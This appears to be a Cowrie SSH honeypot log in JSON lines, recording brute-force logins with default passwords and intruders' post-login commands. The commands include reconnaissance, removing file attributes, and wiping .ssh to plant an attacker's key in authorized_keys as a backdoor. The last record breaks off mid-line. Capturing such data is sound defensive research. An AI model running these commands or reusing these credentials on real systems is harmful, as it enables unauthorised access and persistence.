{"eventid":"cowrie.session.connect","src_ip":"103.13.206.208","src_port":50760,"dst_ip":"159.203.135.109","dst_port":22,"session":"2c44165da47a","protocol":"ssh","message":"New connection: 103.13.206.208:50760 (159.203.135.109:22) [session: 2c44165da47a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:23:43.970381Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:23:43.974983Z","src_ip":"103.13.206.208","session":"2c44165da47a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:23:44.209222Z","src_ip":"103.13.206.208","session":"2c44165da47a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test101","password":"123456","message":"login attempt [test101/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:23:45.171084Z","src_ip":"103.13.206.208","session":"2c44165da47a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:23:46.406435Z","src_ip":"103.13.206.208","session":"2c44165da47a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":55264,"dst_ip":"159.203.135.109","dst_port":22,"session":"623763b0628c","protocol":"ssh","message":"New connection: 122.168.114.167:55264 (159.203.135.109:22) [session: 623763b0628c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:23:49.923534Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:23:53.191095Z","src_ip":"122.168.114.167","session":"623763b0628c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:23:53.194850Z","src_ip":"122.168.114.167","session":"623763b0628c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kingbase","password":"kingbase","message":"login attempt [kingbase/kingbase] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:24:08.794670Z","src_ip":"122.168.114.167","session":"623763b0628c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"24.0","message":"Connection lost after 24.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:24:13.965831Z","src_ip":"122.168.114.167","session":"623763b0628c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":57670,"dst_ip":"159.203.135.109","dst_port":22,"session":"2dd661a27ad8","protocol":"ssh","message":"New connection: 122.168.114.167:57670 (159.203.135.109:22) [session: 2dd661a27ad8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:24:28.993536Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:24:32.238586Z","src_ip":"122.168.114.167","session":"2dd661a27ad8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:24:32.242043Z","src_ip":"122.168.114.167","session":"2dd661a27ad8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":33772,"dst_ip":"10.17.0.5","dst_port":22,"session":"1ab6327ebd12","protocol":"ssh","message":"New connection: 87.251.64.176:33772 (10.17.0.5:22) [session: 1ab6327ebd12]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:24:32.596700Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:24:32.601369Z","src_ip":"87.251.64.176","session":"1ab6327ebd12","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:24:32.697262Z","src_ip":"87.251.64.176","session":"1ab6327ebd12","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:24:32.987510Z","src_ip":"87.251.64.176","session":"1ab6327ebd12","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:24:33.090319Z","session":"1ab6327ebd12","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:24:33.187099Z","src_ip":"87.251.64.176","session":"1ab6327ebd12","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:24:33.285158Z","src_ip":"87.251.64.176","session":"1ab6327ebd12","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"tom","password":"tom","message":"login attempt [tom/tom] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:24:45.962175Z","src_ip":"122.168.114.167","session":"2dd661a27ad8","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:24:50.931123Z","src_ip":"122.168.114.167","session":"2dd661a27ad8","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:24:50.933710Z","src_ip":"122.168.114.167","session":"2dd661a27ad8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"210.114.22.126","src_port":42300,"dst_ip":"10.17.0.5","dst_port":22,"session":"82ae06df09f2","protocol":"ssh","message":"New connection: 210.114.22.126:42300 (10.17.0.5:22) [session: 82ae06df09f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:24:51.784436Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:24:51.898599Z","src_ip":"210.114.22.126","session":"82ae06df09f2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:24:52.106730Z","src_ip":"210.114.22.126","session":"82ae06df09f2","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"2.0","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:24:52.963583Z","src_ip":"122.168.114.167","session":"2dd661a27ad8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"24.0","message":"Connection lost after 24.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:24:52.968799Z","src_ip":"122.168.114.167","session":"2dd661a27ad8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tttserver","password":"tttserver","message":"login attempt [tttserver/tttserver] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:24:53.221171Z","src_ip":"210.114.22.126","session":"82ae06df09f2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:24:54.521495Z","src_ip":"210.114.22.126","session":"82ae06df09f2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"106.75.222.164","src_port":53806,"dst_ip":"10.17.0.5","dst_port":22,"session":"95dd4be37a23","protocol":"ssh","message":"New connection: 106.75.222.164:53806 (10.17.0.5:22) [session: 95dd4be37a23]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:25:04.319472Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:25:04.334293Z","src_ip":"106.75.222.164","session":"95dd4be37a23","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:25:04.586987Z","src_ip":"106.75.222.164","session":"95dd4be37a23","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.13.206.208","src_port":49786,"dst_ip":"159.203.135.109","dst_port":22,"session":"0e329c7bc559","protocol":"ssh","message":"New connection: 103.13.206.208:49786 (159.203.135.109:22) [session: 0e329c7bc559]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:25:04.976200Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:25:04.981250Z","src_ip":"103.13.206.208","session":"0e329c7bc559","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:25:05.237837Z","src_ip":"103.13.206.208","session":"0e329c7bc559","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"oracle123oracle","message":"login attempt [oracle/oracle123oracle] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:25:05.623348Z","src_ip":"106.75.222.164","session":"95dd4be37a23","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:25:06.175648Z","src_ip":"106.75.222.164","session":"95dd4be37a23","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:25:06.179950Z","src_ip":"106.75.222.164","session":"95dd4be37a23","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:25:06.184918Z","src_ip":"106.75.222.164","session":"95dd4be37a23","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!QAZ@WSX123","message":"login attempt [root/!QAZ@WSX123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:25:06.250205Z","src_ip":"103.13.206.208","session":"0e329c7bc559","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:25:06.445509Z","src_ip":"106.75.222.164","session":"95dd4be37a23","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:25:06.989727Z","src_ip":"106.75.222.164","session":"95dd4be37a23","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa 